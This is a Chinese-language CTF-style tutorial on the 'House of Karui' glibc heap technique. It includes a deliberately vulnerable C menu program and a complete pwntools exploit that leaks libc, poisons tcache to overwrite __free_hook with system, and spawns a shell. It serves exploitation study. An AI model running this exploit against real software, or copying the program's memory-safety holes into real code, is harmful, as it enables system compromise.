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前言

一、House of Karui

二、测试与模板

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前言

早期版本的 tcachebin 由于毫无保护，导致攻击利用非常容易，成为重灾区。tcache dup，也即 tcachebin 中的 double free 利用手法，是攻击者常常选用的攻击方式。然而，在glibc-2.29开始，添加了对 tcache key，对 double free 进行了检查。

本篇介绍的 House of Karui 即是一种非常简单的通过溢出来实现绕过，造成double free的方法。

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一、House of Karui

double free 两次同一个 tcache 范围的 chunk，会触发：

如果同一个 chunk 被链到同一个 tcachebin 中，那么就会报如上错误。其原理是，第一次释放时进入 tcachebin 中，chunk 会被写入一个 key，如果某一个 chunk 正在被释放，就会遍历对应的整条 tcachebin 链，如果发现同一个 chunk，则报错。

那么我们只需要让这一个 chunk 链入不同的 tcache 即可。怎么实现？——通过溢出（一般是这种情形下），将该 chunk 的 size 进行修改，再次 free 时就会进入不同的 tcachebin 中，也就规避了检查到同一个 chunk。

接下来就是正常申请堆块，然后更改其 next 指针，实现 tcache poisoning，任意地址 malloc 

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)

# house of karui
add(0,0x10)
add(1,0x18)
add(2,0x10)
delete(0)
delete(2)
edit(1,0x20,b'a'*0x18+p64(0x30))
delete(2)
add(0,0x20)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x18)
add(1,0x18)
edit(1,0x8,p64(libc.sym['system']))
edit(0,0x8,b'/bin/sh\x00')
delete(0)

io.interactive()